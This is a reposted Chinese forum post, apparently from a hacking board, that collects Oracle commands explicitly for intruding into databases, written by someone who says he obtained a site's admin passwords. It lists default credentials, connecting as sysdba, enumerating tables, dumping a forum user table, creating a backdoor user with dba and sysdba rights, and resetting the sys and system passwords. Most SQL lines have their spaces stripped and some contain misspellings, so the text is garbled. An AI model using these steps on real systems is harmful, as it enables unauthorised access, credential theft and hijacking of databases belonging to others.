发新话题
打印

[网络转载] 入侵oracle数据库时常用的操作命令整理

入侵oracle数据库时常用的操作命令整理

 最近遇到一个使用了oracle数据库的服务器,在狂学oracle+请教高手后终于搞到了网站后台管理界面的所有用户密码,我发现oracle操作起来真是太麻烦,为了兄弟们以后少走些弯路,我把入侵当中必需的命令整理出来,一个星期的心血,版权所有,转载请注明作者.
  1、su–oracle不是必需,适合于没有DBA密码时使用,可以不用密码来进入sqlplus界面。
  2、sqlplus/nolog或sqlplussystem/manager或[email=./sqlplussystem/manager@ora9i]./sqlplussystem/manager@ora9i[/email];
  3、SQL> connect/assysdba;(assysoper)或
  connectinternal/oracleASSYSDBA;(scott/tiger)
  connsys/change_on_installassysdba;
  4、SQL> startup;启动数据库实例
  5、查看当前的所有数据库:select*fromv$database;
  selectnamefromv$database;
  descv$databases;查看数据库结构字段
  7、怎样查看哪些用户拥有SYSDBA、SYSOPER权限:
  SQL> select*fromV_$PWFILE_USERS;
  Showuser;查看当前数据库连接用户
  8、进入test数据库:databasetest;
  9、查看所有的数据库实例:select*fromv$instance;
  如:ora9i
  10、查看当前库的所有数据表:
  SQL> selectTABLE_NAMEfromall_tables;
  select*fromall_tables;
  SQL> selecttable_namefromall_tableswheretable_namelike'%u%';
  TABLE_NAME
  ------------------------------
  _default_auditing_options_
  11、查看表结构:descall_tables;
  12、显示CQI.T_BBS_XUSER的所有字段结构:
  descCQI.T_BBS_XUSER;
  13、获得CQI.T_BBS_XUSER表中的记录:
  select*fromCQI.T_BBS_XUSER;
  14、增加数据库用户:(test11/test)
  createusertest11identifiedbytestdefaulttablespaceusersTemporaryTABLESPACETemp;
  15、用户授权:
  grantconnect,resource,dbatotest11;
  grantsysdbatotest11;
  commit;
  16、更改数据库用户的密码:(将sys与system的密码改为test.)
  alterusersysindentifiedbytest;
  alterusersystemindentifiedbytest;

TOP

发新话题